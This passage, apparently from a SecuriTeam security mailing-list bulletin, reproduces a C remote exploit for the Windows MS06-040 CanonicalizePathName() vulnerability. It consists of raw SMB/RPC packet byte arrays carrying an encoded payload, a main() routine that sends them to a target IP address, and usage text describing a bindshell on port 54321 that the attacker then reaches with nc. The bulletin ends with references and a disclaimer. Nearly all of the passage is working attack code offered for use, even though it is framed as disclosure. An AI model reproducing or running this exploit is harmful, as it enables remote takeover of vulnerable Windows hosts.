0x42, 0x86, 0x42, 0xaa, 0x17, 0x9e, 0x3c, 0x27,
0x9c, 0x69, 0xd5, 0x0e, 0xb2, 0x7a, 0x78, 0x89,
0xb8, 0x7c, 0x40, 0xd9, 0xb8, 0x7c, 0x7f, 0x89,
0x16, 0xfd, 0x42, 0x75, 0x30, 0x28, 0xe4, 0x8b,
0x16, 0xfb, 0x40, 0x27, 0x16, 0x1a, 0xd5, 0x08,
0x62, 0x7a, 0xd6, 0x5b, 0x2d, 0x49, 0xd5, 0x0e,
0xbb, 0xd2, 0xfa, 0xb0, 0x06, 0xe3, 0xca, 0xb8,
0xba, 0xd2, 0xfc, 0x27, 0x39, 0x61, 0x72, 0x5a,
0x34, 0x54, 0x46, 0x4c, 0x45, 0x44, 0x38, 0x4f,
0x6a, 0x44, 0x33, 0x41, 0x49, 0x43, 0x49, 0x53,
0x52, 0x37, 0x41, 0x31, 0x34, 0x67, 0x66, 0x70,
0x41, 0x47, 0x41, 0x49, 0x34, 0x4d, 0x76, 0x75,
0x62, 0x31, 0x79, 0x57, 0x54, 0x64, 0x54, 0x5a,
0x6f, 0x45, 0x6e, 0x47, 0x71, 0x67, 0x52, 0x31,
0x66, 0x45, 0x5a, 0x6d, 0x41, 0x71, 0x39, 0x4c,
0x4c, 0x7a, 0x48, 0x6f, 0x50, 0x74, 0x4c, 0x47,
0x61, 0x6a, 0x30, 0x55, 0x69, 0x68, 0x7a, 0x7a,
0x6b, 0x69, 0x33, 0x4c, 0x70, 0x34, 0x47, 0x53,
0x4a, 0x54, 0x74, 0x39, 0x58, 0x33, 0x78, 0x43,
0x67, 0x54, 0x74, 0x58, 0x77, 0x32, 0x77, 0x42,
0x52, 0x4d, 0x57, 0x70, 0x36, 0x75, 0x38, 0x33,
0x52, 0x66, 0x79 };
char peer0_13[] = {
0x00, 0x00, 0x01, 0x57, 0xff, 0x53, 0x4d, 0x42,
0x2f, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0e, 0xff, 0x00, 0x00,
0x00, 0x00, 0x40, 0x30, 0x02, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x08, 0x00, 0x18, 0x01, 0x00,
0x00, 0x18, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0x01, 0x05, 0x00, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x00, 0x52, 0x36, 0x36, 0x37, 0x4e,
0x54, 0x6f, 0x48, 0x76, 0x51, 0x32, 0x63, 0x68,
0x67, 0x36, 0x68, 0x43, 0x39, 0x54, 0x46, 0x4b,
0x67, 0x79, 0x56, 0x57, 0x53, 0x45, 0x39, 0x42,
0x4a, 0x65, 0x4f, 0x57, 0x73, 0x42, 0x6b, 0x39,
0x52, 0x76, 0x31, 0x56, 0x42, 0x6e, 0x42, 0x70,
0x75, 0x42, 0x46, 0x58, 0x35, 0x48, 0x46, 0x62,
0x4a, 0x78, 0x6d, 0x33, 0x53, 0x50, 0x34, 0x30,
0x7a, 0x76, 0x46, 0x6c, 0x4f, 0x54, 0x37, 0x6a,
0x4a, 0x45, 0x59, 0x54, 0x6f, 0x69, 0x62, 0x36,
0x65, 0x57, 0x6a, 0x32, 0x44, 0x63, 0x31, 0x65,
0x4b, 0x36, 0x59, 0x55, 0x33, 0x32, 0x38, 0x78,
0x5a, 0x64, 0x42, 0x75, 0x56, 0x79, 0x52, 0x70,
0x36, 0x33, 0x47, 0x45, 0x7a, 0x31, 0x72, 0x36,
0x51, 0x50, 0x35, 0x70, 0x4f, 0x58, 0x59, 0x31,
0x75, 0x32, 0x39, 0x70, 0x74, 0x50, 0x41, 0x6a,
0x34, 0x65, 0x7a, 0x78, 0x69, 0x50, 0x59, 0x0a,
0x08, 0x02, 0x00, 0x4a, 0x52, 0x57, 0x6c, 0x39,
0x50, 0x77, 0x38, 0x04, 0x08, 0x02, 0x00, 0x32,
0x37, 0x49, 0x49, 0x56, 0x6d, 0x6f, 0x55, 0x68,
0x56, 0x69, 0x51, 0x41, 0x35, 0x43, 0x4c, 0x47,
0x6b, 0x4f, 0x45, 0x30, 0x51, 0x36, 0x52, 0x30,
0x6f, 0x64, 0x74, 0x78, 0x65, 0x32, 0x70, 0x04,
0x08, 0x02, 0x00, 0x35, 0x79, 0x78, 0x32, 0x78,
0x70, 0x38, 0x35, 0x04, 0x08, 0x02, 0x00, 0x51,
0x67, 0x39, 0x36, 0x4a, 0x71, 0x65, 0x72, 0x56,
0x55, 0x47, 0x58, 0x53, 0x58, 0x59, 0x4f, 0x61,
0x61, 0x7a, 0x47, 0x62, 0x48, 0x56, 0x61, 0x73,
0x33, 0x4d, 0x4b, 0x34, 0x42, 0x39, 0x79, 0x00,
0x00, 0xbf, 0xf9, 0x78, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0xb4, 0xee, 0x7b,
0x00, 0x00, 0x00 };
char peer0_14[] = {
0x00, 0x00, 0x00, 0x66, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x1c,
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4a, 0x00, 0x1c, 0x00, 0x4a, 0x00, 0x02,
0x00, 0x26, 0x00, 0x00, 0x40, 0x23, 0x00, 0x5c,
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00,
0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x1c, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00,
0x00, 0x00 };
int main(int argc,char **argv)
{
int fd;
int con;
int repbf[20000];
struct sockaddr_in target;
if(argc < 2)
{
printf("Microsoft Windows CanonicalizePathName() Remote Exploit
(MS06-040)\n");
printf("Tested on WindowsXP SP1 EN and got a bindshell on port 54321\n");
printf("Win2k should give a crash in services.exe\n");
printf("I've used the default smbdomain: WORKGROUP\n\n");
printf("Usage: %s <ip>\n",argv[0]);
printf("Example: %s 192.168.1.103\n\n",argv[0]);
printf("Written by: Preddy\n");
printf("RootShell Security Group\n");
printf("www.team-rootshell.com\n");
exit(1);
}
fd = socket(AF_INET,SOCK_STREAM,0);
if(fd < 0)
{
perror("Could not create socket\n");
exit(1);
}
printf("Target: %s\n",argv[1]);
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(PORT);
con = connect(fd,(struct sockaddr_in *)&target,sizeof(target));
if(con < 0)
{
printf("Could not connect\n");
exit(1);
}
sendto(fd,peer0_0,sizeof(peer0_0),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_1,sizeof(peer0_1),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_2,sizeof(peer0_2),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_3,sizeof(peer0_3),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_4,sizeof(peer0_4),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_5,sizeof(peer0_5),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_6,sizeof(peer0_6),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_7,sizeof(peer0_7),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_8,sizeof(peer0_8),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_9,sizeof(peer0_9),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_10,sizeof(peer0_10),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_11,sizeof(peer0_11),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_12,sizeof(peer0_12),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_13,sizeof(peer0_13),0,&target,sizeof(target));
read(fd,repbf,sizeof(repbf));
sendto(fd,peer0_14,sizeof(peer0_14),0,&target,sizeof(target));
printf("Attack Finished: now open a new terminal and nc to your victim on
port 54321\n");
printf("Warning: Don't close this window!\n");
read(fd,repbf,sizeof(repbf));
printf("Done..\n");
close(fd);
}
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.milw0rm.com/exploits/2223>
http://www.milw0rm.com/exploits/2223
The related articles can be found at:
<http://www.securiteam.com/windowsntfocus/5IP042KJFS.html>
http://www.securiteam.com/windowsntfocus/5IP042KJFS.html
<http://www.microsoft.com/technet/security/bulletin/MS06-040.mspx>
http://www.microsoft.com/technet/security/bulletin/MS06-040.mspx
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
